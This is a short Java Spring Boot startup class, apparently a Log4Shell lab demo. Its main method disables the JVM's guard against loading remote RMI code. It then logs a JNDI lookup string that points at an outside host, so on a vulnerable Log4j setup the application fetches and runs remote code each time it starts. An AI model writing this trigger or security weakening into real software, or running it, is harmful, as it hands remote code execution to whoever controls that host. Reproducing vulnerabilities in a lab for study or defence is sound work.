package cn.ljlao.bootdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.scheduling.annotation.EnableAsync;

@SpringBootApplication
@EnableAsync
@MapperScan(basePackages = "cn.ljlao.bootdemo.mapper")
public class BootdemoApplication {
    private static final Logger LOGGER= LogManager.getLogger(BootdemoApplication.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        LOGGER.info("${jndi:rmi:/nps.lzandcmp.com:8888/maosuyu}");
        SpringApplication.run(BootdemoApplication.class, args);
    }

}
